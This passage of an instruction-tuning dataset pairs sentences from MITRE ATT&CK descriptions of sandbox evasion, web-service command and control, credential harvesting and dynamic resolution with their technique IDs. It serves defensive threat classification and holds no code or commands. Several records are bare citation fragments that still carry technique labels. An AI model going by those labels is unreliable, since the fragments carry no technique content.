addresses, CPU core count, and available memory/drive size.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)).", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation:", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Joe Sec Nymaim)(Citation: Joe Sec Trickbot)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time.", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", "output": "T1497.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) ### Response: T1497.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various means to detect and avoid virtualization and analysis environments.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once infected, victims will reach out to and be redirected by these resolvers.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once infected, victims will reach out to and be redirected by these resolvers. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Those infected systems can then send the output from those commands back over that Web service channel.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems can then send the output from those commands back over that Web service channel. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The return traffic may occur in a variety of ways, depending on the Web service being utilized.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The return traffic may occur in a variety of ways, depending on the Web service being utilized. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CG 2014)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CG 2014) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SRD GPP)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SRD GPP) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be found as parameters to deployment commands in container logs.(Citation:", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be found as parameters to deployment commands in container logs.(Citation: ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Unsecured Docker Daemons)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Unsecured Docker Daemons) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address.", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. ### Response: T1568.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)", "output": "T1568.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) ### Response: T1568.003."}{"instruction": 